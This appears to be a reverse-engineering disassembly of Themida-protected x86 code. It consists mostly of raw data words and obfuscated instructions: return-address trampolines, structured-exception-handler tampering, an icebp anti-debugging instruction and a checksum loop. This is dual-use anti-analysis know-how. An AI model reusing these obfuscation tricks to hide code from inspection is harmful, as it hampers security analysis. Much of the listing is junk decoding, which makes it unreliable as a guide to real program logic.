		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1904h, 0C3524200h
		dd 68524FFEh, 0E1BF914Ch, 810D39B1h, 3351D1D3h,	0B08D8D2Ah
		dd 66060EA7h, 0D1FFD98Bh, 0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 1Ch, 91C35141h, 73A4F8D2h,	19E1089Ah, 30BCBF66h
		dd 13E8h, 0C45B1D00h, 1CED597Bh, 965903Ah, 9D24F3A0h, 576C929Ah
		dd 9688BB66h, 19BD835Bh, 1060B0Bh, 0AD850Fh, 6A0000h, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 1B0424h, 52420000h
		dd 977B4AC3h, 9874E1FDh, 0DF8B6643h, 6A026Ah, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1D0424h, 57470000h, 0A5D089C3h
		dd 0B575F652h, 9096EDDBh, 0B0BB6651h, 50505BB4h, 8B310F52h
		dd 90585AD9h, 0E856006Ah, 3, 5EC35E20h,	4247489h, 4244481h
		dd 18h,	0F1C35646h, 0EA01D065h,	13399D31h, 9D01060Bh, 60B2099h
		dd 0F1595FFh, 6A060Bh, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 150424h, 57470000h, 0E98293C3h, 0DCAh, 0E8h,	0ED815D00h
		dd 60FAFB5h, 1A6DB501h,	0B70F060Bh, 51BB66D8h, 93858D69h
		dd 6A060E92h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 18042444h, 42000000h, 0F200C352h, 60CBFE05h,	4810Fh
		dd 0BF660000h, 0CE81D747h, 254957DFh, 0AE99061h, 49000000h
		dd 6A9CFC09h, 0C03223CDh, 0BB6650FEh, 8B90D169h, 0B2F49BDh
		dd 35FF6406h, 0
; ---------------------------------------------------------------------------
		push	0
		push	eax
		call	sub_5870D3
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5870D3	proc near		; CODE XREF: Themida_:005870CBp

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 19h
		inc	eax
		push	eax
		retn
sub_5870D3	endp

; ---------------------------------------------------------------------------
		db 0Ch
; ---------------------------------------------------------------------------
		or	eax, 0E2C7C5DBh
		jg	loc_5870F1
		mov	bh, 0FCh


loc_5870F1:				; CODE XREF: Themida_:005870E9j
		mov	large fs:0, esp
		jns	loc_587104
		mov	[ebp+60B2809h],	esi


loc_587104:				; CODE XREF: Themida_:005870F8j
		inc	dword ptr [ebp+60B066Dh]
		mov	[ebp+60B0209h],	edi
		push	0FFFFFFFFh
		add	edi, [ebp+60B2F51h]
		push	dword ptr [ebp+60B1A31h]
		movsx	edi, si
		call	dword ptr [ebp+60B2411h]
		jmp	loc_58721C
; ---------------------------------------------------------------------------
		dd 2F61BD29h, 0B0060Bh,	3819D8Bh, 70E6060Bh, 0DDBD2960h
		dd 89060B0Ch, 0B174585h, 71E46106h, 15DDBD01h, 613C060Bh
		dd 0C2830Fh, 8B660000h,	0C8B60FFAh, 6BAh, 29605100h, 0B2045BDh
		dd 8B5F6106h, 0C10AB3C1h, 9D2904E8h, 60B288Dh, 8BE2F766h
		dd 0B02C1BDh, 0FC82B06h, 689h, 57D38100h, 8B4481D6h, 0F1BB66D1h
		dd 7EE945h, 858B0000h, 8, 33559D8Bh, 0C083060Bh, 0F99D8B07h
		dd 8B060B23h, 0B0619BDh, 0C08306h, 11E952h, 167D0000h
		dd 3F3B1A05h, 8AF35E6Fh, 852E070Eh, 5BC9C013h, 830FD03Bh
		dd 11h,	0B5958956h, 5B060B06h, 33E9h, 65BB6600h, 0FF8D8B69h
		dd 53FFFFFFh, 32E59D89h, 835B060Bh, 840F01E1h, 18h, 0C65ABF66h
		dd 0FFFFA583h, 89FEFFFFh, 895h,	0E9ABB300h, 0
; ---------------------------------------------------------------------------


loc_58721C:				; CODE XREF: Themida_:00587127j
		lea	esi, [ebp+60F3049h]
		push	0
		push	ebx
		call	sub_58722D
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58722D	proc near		; CODE XREF: Themida_:00587225p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 16h
		inc	ebx
		push	ebx
		retn
sub_58722D	endp

; ---------------------------------------------------------------------------
		sbb	[ebx], al
		add	ebp, [edx+0]
		push	0
		push	esi
		call	sub_58724D
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58724D	proc near		; CODE XREF: Themida_:00587245p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 16h
		inc	esi
		push	esi
		retn
sub_58724D	endp

; ---------------------------------------------------------------------------
		adc	eax, 95893804h
		icebp
		or	al, 0Bh
		push	es
		call	dword ptr [ebp+60B32DDh]
		push	0
		push	edi
		call	sub_587277
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_587277	proc near		; CODE XREF: Themida_:0058726Fp

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 15h
		inc	edi
		push	edi
		retn
sub_587277	endp

; ---------------------------------------------------------------------------
		db 0DBh
		dd 1BCB8031h, 0BB5B589h, 0D5B9060Bh, 6600000Eh,	0E183DF8Bh
		dd 0ADBD8BFCh, 0FC060B29h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 1Dh, 69C35545h, 43A7078Dh,	0DDF04C19h, 0E9BB6667h
		dd 12E9C7h, 66120000h, 0A7781D0Dh, 998E266Ah, 5C92AA93h
		dd 0F2B8E199h, 0B8h, 56006A00h,	3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1504h, 0C3564600h, 0BD230085h, 60B07A1h
		dd 0BAh, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1904h, 0C3564600h, 0B8E717ACh, 9D896F08h, 60B21E9h
		dd 0D1C233ADh, 83D003E8h, 0F47504E9h, 986CBF66h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 18h, 45C35545h, 0DCB5FCF0h
		dd 66D9B70Fh, 0D4BE7BFh, 88h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 1Dh, 0D8C35242h,	11222462h, 0C933F042h
		dd 0C18D8978h, 8B060B19h, 0B174D95h, 51006A06h,	3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1B04h,	0C3514100h, 29C187F9h
		dd 71207969h, 8D8BFC8Ah, 60B0119h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 18h, 0DBC35545h,	8DE341C0h, 8BC28B50h
		dd 8BC10318h, 0D1C18B18h, 8BC203E8h, 0E8B35818h, 81858951h
		dd 5B060B24h, 0E855006Ah, 3, 5DC35D20h,	4246C89h, 4244481h
		dd 1Dh,	5EC35545h, 0DED69E83h, 0D893476Ah, 850F60B0h, 6
		dd 8C0Fh, 8B660000h, 9D8B61FAh,	60B2949h, 29BDBD83h, 0F00060Bh
		dd 6C84h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1C04h, 0C3554500h, 0A7BBB34Ch, 19671577h, 0EB3DBB58h
		dd 0B86941h, 23000000h,	0B035D9Dh, 0D78D8D06h, 33060B4Dh
		dd 0B31A19Dh, 6AE1FF06h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 19042444h, 45000000h, 0C6F1C355h,	3984D245h
		dd 8BFC5B52h, 0B16A59Dh, 9BD8306h, 60B10h, 4BA840Fh, 6A0000h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h, 57470000h
		dd 71C88C3h, 7C3AEDCh, 9D29FECDh, 60B1A2Dh, 1009BD83h
		dd 0F01060Bh, 49E84h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1504h, 0C3554500h, 9D8BFDA1h, 60B0BB1h, 1009BD83h
		dd 0F03060Bh, 43886h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1504h, 0C3554500h, 5752AD0Ch, 5BDE8B66h
		dd 0FBB70F5Fh, 38F0F60h, 80000000h, 8C6633C3h, 0B7DF81D9h
		dd 807119ABh, 9D2304E1h, 60B1341h, 840FC90Ah, 146h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 85C35141h, 35964F62h
		dd 0FE8C06Ch, 0A8Dh, 4860F00h, 66000000h, 8BB29CBBh, 0B317D85h
		dd 17D78106h, 0E8300D31h, 12h, 4AB054E6h, 4C91E2D6h, 7BBF89E8h
		dd 7EB85DCAh, 8D89AD32h, 60B0DDDh, 0ED85335Bh, 0F9060B06h
		dd 4EBA6090h, 8B1C3ADAh, 8B5061FEh, 6AF990FBh, 57006A00h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1404h, 0C3574700h
		dd 8D89600Fh, 60B0B91h,	5318D8Bh, 6061060Bh, 6810Fh, 8D890000h
		dd 60B13D5h, 6890Fh, 9D8B0000h,	60B2E61h, 22476861h, 0B5BB79E9h
		dd 813A7C83h, 21B82434h, 6A79F6h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 1C0424h, 56460000h, 0BEFDC2C3h, 0C65C1114h
		dd 0BD8904DAh, 60B3331h, 0E959589h, 95FF060Bh, 60B03D1h
		dd 25DF8166h, 1D8589EFh, 6A060EA8h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 19042444h, 46000000h, 0DAC7C356h
		dd 333106CBh, 5850F60h,	0BE000000h, 17AC4499h, 0DAEF8166h
		dd 13E9618Bh, 0F000002h, 858BDBBFh, 60EA815h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 52C35343h, 0FB828D52h
		dd 0FEFBF5Dh, 0D9D0125h, 0C7060B2Ah, 1800h, 52006A00h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1704h, 0C3524200h
		dd 0AF89788Fh, 38F0Fh, 0B70F0000h, 19B58BF9h, 6A060EA8h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 18042444h
		dd 41000000h, 7D5CC351h, 0F1A0516h, 8166FAB7h, 0E96698DBh
		dd 0Eh,	5C4285A7h, 0C34120E9h, 0D0CD99C0h, 858BA979h, 60B06E1h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 16h, 7FC35141h
		dd 840F5489h, 3, 89DF8B66h, 57006A06h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1A04h,	0C3574700h, 3CFEBCBCh
		dd 666C7171h, 814EA8BBh, 418BD3DBh, 7D858B67h, 6A060B31h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1B042444h
		dd 41000000h, 3D06C351h, 0B6121DEFh, 9D29E98Eh,	60B26E1h
		dd 6A044689h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 15042444h, 47000000h, 7FFAC357h, 2860F60h, 0B4000000h
		dd 12E960h, 41400000h, 44B5F63h, 0C7226A6h, 69883918h
		dd 508C00AAh, 0DA8B9661h, 5D6DBB50h, 6A967720h,	3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 15042444h, 43000000h
		dd 8851C353h, 0A815B5FFh, 850F060Eh, 2,	0C768D88Bh, 50693754h
		dd 28B0F52h, 8B000000h,	5A310FF8h, 24348158h, 69285738h
		dd 29F960F9h, 0B06A5B5h, 858D6106h, 60EA81Dh, 1B59BF66h
		dd 89DE8B50h, 6A2404h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 140424h, 52420000h, 8B6016C3h, 0B0B6D95h, 0A1858B06h
		dd 61060B27h, 1A55B589h, 95FF060Bh, 60B03D1h, 331BD89h
		dd 6A61060Bh, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 15042444h, 46000000h, 9FD6C356h, 78CB69BFh, 985C759h
		dd 3060B10h, 6A000000h,	3E85000h, 20000000h, 8958C358h
		dd 81042444h, 15042444h, 40000000h, 0FE90C350h,	12D9BD01h
		dd 0BD83060Bh, 60EA81Dh, 3A840F00h, 89000000h, 0B14C9BDh
		dd 4AE906h, 6A0000h, 3E850h, 58200000h,	448958C3h, 44810424h
		dd 1B0424h, 50400000h, 0BE252EC3h, 1001368Ch, 6810F53h
		dd 8B000000h, 0B2A119Dh, 0C305006h, 11440011h, 10E8C101h
		dd 2114430h, 3114C00h, 4E98358h, 36EBE775h, 11043050h
		dd 1116400h, 3010E8C1h,	21144h,	58031164h, 7504E983h, 501BEBE7h
		dd 2810E8C1h, 30031164h, 58021144h, 1116428h, 83110430h
		dd 0E77504E9h, 0C08B00EBh, 0D1CF8166h, 0BE873h,	22DF0000h
		dd 0ED18204Ah, 825DC465h, 10E9ABh, 98750000h, 0C71FF75Ah
		dd 2740F37Ch, 836E95B5h, 835FF7EEh, 0B1009BDh, 850F0306h
		dd 3E3h, 0E852006Ah, 3,	5AC35A20h, 4245489h, 4244481h
		dd 1Bh,	49C35242h, 39610A95h, 8B82F257h, 0B01959Dh, 83FEB306h
		dd 0EA81DBDh, 840F0006h, 3ABh, 2D89BD8Bh, 0B5FF060Bh, 60EA81Dh
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 19h, 0FEC35545h
		dd 0A06BEF5Bh, 0FFFD8A85h, 0B083D95h, 50006A06h, 3E8h
		dd 0C3582000h, 24448958h, 24448104h, 1C04h, 0C3504000h
		dd 0A81148D9h, 0C73BC27Ch
		dd 79BD2348h, 8B060B1Bh, 0EA811B5h, 57006A06h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1A04h,	0C3574700h, 0F9C0F70h
		dd 0C7AF5C08h, 1000106h, 8B609600h, 0F7BF66CFh,	0BF506163h
		dd 52F0E3ABh, 1DB5FF96h, 6A060EA8h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 14042444h, 40000000h, 2B48C350h
		dd 0B2125BDh, 256FBF06h, 95FF0F13h, 60B0641h, 3CDB8166h
		dd 11B58B78h, 6A060EA8h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1D042444h, 47000000h, 6A17C357h, 0E2B756B6h
		dd 0E0A9D7A8h, 0DEFD5BFh, 1D858B79h, 6A060B12h,	3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1A042444h, 45000000h
		dd 7342C355h, 6FEF9FF8h, 0AAB860CEh, 8168568Fh,	83B7D4F6h
		dd 9D036111h, 60B2439h,	0C48689h, 6A0000h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 190424h, 52420000h, 4D103BC3h
		dd 801C6DB0h, 958BC5E3h, 60B174Dh, 83DFB70Fh, 816604C2h
		dd 896AD8EFh, 0BD012050h, 60B1E8Dh, 0BAEE858Dh,	0BD89060Eh
		dd 60B05E1h, 0B88689h, 95310000h, 60B2101h, 32D99D8Bh
		dd 6A060Bh, 6810Fh, 0BD8B0000h,	60B2B69h, 0A81DB5FFh, 0BD8B060Eh
		dd 60B1921h, 0F1595FFh,	6A060Bh, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 170424h, 52420000h, 771284C3h, 0EE95096h
		dd 0D7000000h, 0C443050h, 6C68720Ah, 1B45F985h,	243489C7h
		dd 58C0Fh, 28BB0000h, 0FF22CA0Ah, 0EA81DB5h, 12E806h, 85690000h
		dd 1580C094h, 37D2D67Ah, 0EAEA7A71h, 0BBEAB57Ah, 1B75BF66h
		dd 0F595FF5Fh, 0B7060B00h, 6820F49h, 8B000000h,	0B0B959Dh
		dd 91BD8306h, 60B21h, 53840Fh, 96F90000h, 13E9h, 0DF6CDA00h
		dd 353CA2E8h, 1F3E77CAh, 0A39A3484h, 0C2D7DB87h, 0BE850h
		dd 0F600000h, 97A6670Ch, 8B86977Eh, 5BDA8BC5h, 50006A96h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1604h, 0C3504000h
		dd 3A6AADFh, 0B01999Dh,	1DB5FF06h, 6A060EA8h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 19042444h, 41000000h
		dd 121C351h, 6FAF6EC9h,	840FF88Bh, 4, 46CBF66h,	128195FFh
		dd 6A060Bh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h
		dd 55450000h, 344745C3h, 90D5D4FFh, 0FBBF0FB6h,	0A81DB5FFh
		dd 6A060Eh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1D0424h
		dd 52420000h, 3E590AC3h, 729F2589h, 6614E2ABh, 0BDDDD781h
		dd 0FFD88B66h, 0B0B8D95h, 2BBB6606h, 0F1BD8323h, 2060B17h
		dd 59840Fh, 0DA8B0000h,	2EC5858Bh, 6A060Bh, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 1B0424h, 50400000h, 33A958C3h
		dd 0D19EC490h, 28D0F79h, 8B000000h, 0C6F9h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh, 36C35545h, 0C7D40112h
		dd 0C74E8F9Bh, 0B06B985h, 6, 4DB53100h,	0E9060B05h, 0FFFFF330h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 72C35545h
		dd 365B376Ch, 0A7153756h, 0DE9h, 0C1814700h, 2019DF63h
		dd 91A5D951h, 0C18B3F8Dh, 63D9529h, 858D060Bh, 60B28A9h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 0FDC35545h
		dd 0E9BEC7C1h, 11h, 0EC19221h, 3556540Ch, 8F23D82Ch, 68CB9446h
		dd 0FE8B664Fh, 89DF8B50h, 6A2404h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 1C0424h, 53430000h, 0E4B90DC3h, 633CF005h
		dd 5E9F768h, 0F9000000h, 0ABF7369Ah, 0B960006Ah, 0C81F7A0h
		dd 33B9BD01h, 6A61060Bh, 51006A00h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1704h, 0C3514100h, 0DE013CAEh, 0BFBA858Dh
		dd 0AE8060Fh, 46000000h, 0C7DA1BF2h, 0BC2554F1h, 0C1BD8B31h
		dd 5F060B2Eh, 0E805C083h, 9, 5A60AB08h,	0CDFB0EFh, 0D98B66D7h
		dd 0DE8905Bh, 1E000000h, 0BE4E6ADFh, 3E88B867h,	1DA19FAAh
		dd 0BE9h, 5B28F800h, 3A2FEAE1h,	6043E021h, 8990505Fh, 0B0B51BDh
		dd 0BF006A06h, 6ABDCF03h, 6A006Ah, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 150424h, 57470000h, 8B272AC3h, 0B2181BDh
		dd 2195FF06h, 6A060B2Fh, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 15042444h, 42000000h, 2EAEC352h, 0CC98D89h
		dd 8D8D060Bh, 60EA7B0h,	0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 1Ah, 0C2C35141h, 0F93DC087h, 0FE9B0CDh, 84000000h
		dd 571567D1h, 4EE1577Eh, 0F03BA54Bh, 0D1FF9352h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 18h, 39C35646h, 98390842h
		dd 225D9D0Bh, 8E9060Bh,	9F000000h, 43DE2110h, 83D7AF86h
		dd 0B0B19BDh, 850F0106h, 6Eh, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 17h, 9AC35040h, 89576C92h, 0B02F98Dh
		dd 6A026A06h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1D042444h, 46000000h, 7A8FC356h, 0B8DC5998h,	0CFBF7D27h
		dd 28F0F50h, 0B3000000h, 240489D8h, 289D9D89h, 95FF060Bh
		dd 60B0F15h, 8BD38B60h,	0B1741B5h, 0E0E96106h, 0E800000Ch
		dd 0
; ---------------------------------------------------------------------------
		pop	ebp
		sub	ebp, 60FBFC4h
		mov	ebx, [ebp+60B02A9h]
		sub	[ebp+60B0FEDh],	ecx
		xor	bx, 94F6h
		lea	eax, [ebp+60E9293h]
		push	0
		push	ecx
		call	sub_588091
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_588091	proc near		; CODE XREF: Themida_:00588089p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 19h
		inc	ecx
		push	ecx
		retn
sub_588091	endp

; ---------------------------------------------------------------------------
		db 0F8h, 63h, 84h
; ---------------------------------------------------------------------------
		test	al, 79h
		adc	[edi], ecx
		add	dword ptr [esi], 89000000h
		popf
		mov	[ecx], ebp
		or	eax, [esi]
		jmp	loc_5880C5
; ---------------------------------------------------------------------------
		dd 9F184229h, 75C11BCFh, 0F40DC726h
; ---------------------------------------------------------------------------
		pop	ss


loc_5880C5:				; CODE XREF: Themida_:005880B3j
		push	eax
		mov	edi, 24C69531h
		mov	[esp], eax
		push	0
		push	esi
		call	sub_5880D9
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5880D9	proc near		; CODE XREF: Themida_:005880D1p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 1Bh
		inc	esi
		push	esi
		retn
sub_5880D9	endp

; ---------------------------------------------------------------------------
		or	byte ptr [ebp-574E65CEh], 1Ch
		daa
		mov	edi, edx
		push	ebx
		stc
		pop	ebx
		push	large dword ptr	fs:0
		mov	[ebp+60B13E5h],	eax
		mov	large fs:0, esp
		push	0
		push	edx
		call	sub_588115
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_588115	proc near		; CODE XREF: Themida_:0058810Dp

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 19h
		inc	edx
		push	edx
		retn
sub_588115	endp

; ---------------------------------------------------------------------------
		db 7Ch,	0BBh, 0FEh
		dd 0E9FACEA1h, 0Ah, 3D872501h, 3C1F26h,	85FF406Eh, 60B066Dh
		dd 0C718D89h, 0FF6A060Bh, 0D9B5FFFCh, 0E9060B0Eh, 0Ah
		dd 0B805DC74h, 142CB156h, 95FFC0DFh, 60B2411h, 123E9h
		dd 0D3816600h, 0B064BFh, 3059D8Bh, 70E6060Bh, 8A59D8Bh
		dd 0BD01060Bh, 60B1789h, 858971E4h, 60B2E71h, 613C69B7h
		dd 0F6830Fh, 0FC8A0000h, 0BAC8B60Fh, 6,	89C18BF5h, 0B240D95h
		dd 4E8C106h, 661ECB80h,	9D31E2F7h, 60B0C75h, 0DE9h, 89DF200h
		dd 753736DAh, 1800B63Ch, 0C82BD9CDh, 21018589h,	0D18B060Bh
		dd 0E9F9B70Fh, 0B0h, 1765BD8Bh,	858B060Bh, 1, 68A0Fh, 0B5890000h
		dd 60B0571h, 0E807C083h, 0Fh, 0F1C97A96h, 121BD86h, 6FAF6EC9h
		dd 8991520Eh, 0B14C195h, 0B9605F06h, 1A97955Ah,	12E9h
		dd 0AFCE3C00h, 9A5B2BCFh, 2A8202E0h, 0A4C0589Ch, 6172797Bh
		dd 6000C083h, 0F598D89h, 0BF0F060Bh, 0D03B61D8h, 0E830Fh
		dd 0B5890000h, 60B0139h, 3BE9h,	5BFC5000h, 0FFFF8D8Bh
		dd 9D8BFFFFh, 60B0CDDh,	0F01E183h, 2384h, 0C3816600h, 0A583B3E9h
		dd 0FFFFFFFFh, 3D9D8BFEh, 89060B10h, 195h, 0BD9D0B00h
		dd 0E9060B08h, 0
; ---------------------------------------------------------------------------
		lea	esi, [ebp+60F3F1Eh]
		ja	loc_5882A4
		ja	loc_5882A4
		jbe	$+6


loc_5882A4:				; CODE XREF: Themida_:00588292j
					; Themida_:00588298j
		push	0
		push	0
		push	ebx
		call	sub_5882B1
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5882B1	proc near		; CODE XREF: Themida_:005882A9p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 15h
		inc	ebx
		push	ebx
		retn
sub_5882B1	endp

; ---------------------------------------------------------------------------
		sbb	[eax+66h], esi
		sbb	ebx, 0BF0FA81Dh
		sti
		call	dword ptr [ebp+60B32DDh]
		mov	[ebp+60B285Dh],	ebx
		mov	ecx, 1093h
		push	0
		push	edx
		call	sub_5882E7
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5882E7	proc near		; CODE XREF: Themida_:005882DFp

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 14h
		inc	edx
		push	edx
		retn
sub_5882E7	endp

; ---------------------------------------------------------------------------
		db 4Ch
; ---------------------------------------------------------------------------
		add	[ebp+60B0EE9h],	esi
		and	ecx, 0FFFFFFFCh
		push	0
		push	ebp
		call	sub_58830C
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58830C	proc near		; CODE XREF: Themida_:00588304p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 1Bh
		inc	ebp
		push	ebp
		retn
sub_58830C	endp

; ---------------------------------------------------------------------------
		movsx	esp, word ptr [ecx]
		jnb	short near ptr loc_588321+1


loc_588321:				; CODE XREF: Themida_:0058831Fj
		sub	eax, ebp
		pop	ss
		mov	[ebp+60B327Dh],	esi
		cld
		push	0
		push	edx
		call	sub_588336
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_588336	proc near		; CODE XREF: Themida_:0058832Ep

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 19h
		inc	edx
		push	edx
		retn
sub_588336	endp

; ---------------------------------------------------------------------------
		and	eax, 0B7CDB693h
		or	dword ptr [edi], 0FFFFFFBFh
		sti
		sub	eax, eax
		and	ebx, [ebp+60B003Dh]
		mov	edx, 0
		movzx	edi, bx


loc_58835F:				; CODE XREF: Themida_:00588369j
		lodsd
		xor	eax, edx
		shr	eax, 1
		add	edx, eax
		sub	ecx, 4
		jnz	short loc_58835F
		mov	di, 0E1A9h
		push	0
		push	ebp
		call	sub_58837A
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_58837A	proc near		; CODE XREF: Themida_:00588372p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 1Bh
		inc	ebp
		push	ebp
		retn
sub_58837A	endp

; ---------------------------------------------------------------------------
		dw 7F3Fh
		dd 0BB1B1978h, 6EBF6E8Fh, 0D135EECh, 88h, 0E856006Ah, 3
		dd 5EC35E20h, 4247489h,	4244481h, 15h, 71C35646h, 0FDBD8B82h
		dd 8B060B03h, 0B174D95h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1A04h, 0C3534300h, 0D593F24Eh, 53E311C5h
		dd 3AC38166h, 8D8B5B06h, 60B0119h, 319BD8Bh, 8B50060Bh
		dd 3188BC2h, 8B188BC1h,	3E8D1C1h, 58188BC2h, 3179BD8Bh
		dd 6A060Bh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 190424h
		dd 56460000h, 612F97C3h, 8392DB24h, 0B29BDBDh, 840F0006h
		dd 77h,	0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ch
		dd 6FC35040h, 7BE89E3Dh, 255FFDFDh, 2989BD8Bh, 8166060Bh
		dd 0B82157DBh, 0
		dd 21B58D89h, 8D8D060Bh, 60B4DD7h, 0DE8h, 0E100B500h, 55DF4FA1h
		dd 0FECB52D8h, 0FF5B9B31h, 51006AE1h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1504h,	0C3514100h, 8ABBAB45h
		dd 833B8A14h, 0B1009BDh, 840F0006h, 420h, 5880Fh, 81660000h
		dd 83127FCFh, 0B1009BDh, 840F0106h, 423h, 0E851006Ah, 3
		dd 59C35920h, 4244C89h,	4244481h, 19h, 0E5C35141h, 92F890F7h
		dd 0B8D381B2h, 0F80DF096h, 1009BD83h, 0F03060Bh, 3B886h
		dd 56006A00h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1C04h
		dd 0C3564600h, 90490A8Dh, 85B5179Ah, 0E8DE8BA8h, 14h, 3DFC382Dh
		dd 94ED015Dh, 0D729D728h, 972A530h, 35D49FB7h, 119D33h
		dd 605F060Bh, 27698589h, 8D09060Bh, 60B0339h, 31D98C66h
		dd 0B2D8D8Dh, 4E18006h,	0F9F78166h, 0FC90A2Ch, 17384h
		dd 0D1BD8B00h, 8B060B02h, 0B317D85h, 57006A06h,	3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1604h,	0C3574700h, 66A41463h
		dd 8ABBC381h, 6ED8533h,	8E0F060Bh, 0Ch,	7E9h, 45F78000h
		dd 93B99289h, 58B0Fh, 81660000h, 90978FEFh, 0C18B6660h
		dd 5061F98Ah, 178A0Fh, 12E90000h, 0A3000000h, 91AD9490h
		dd 82AA2345h, 0AF0A4342h, 0F0194F0Bh, 6A9060h, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 150424h, 53430000h
		dd 0F1B54C3h, 8B66DEB7h, 80006AF9h, 0B70F12E3h,	0DB8C68D8h
		dd 820F25DEh, 3, 81F88B66h, 0D8732434h,	6A25C1h, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 1B0424h, 53430000h
		dd 0C5F700C3h, 0AB57F87Bh, 6BBFBF91h, 9D8B5B5Ah, 60B1FD5h
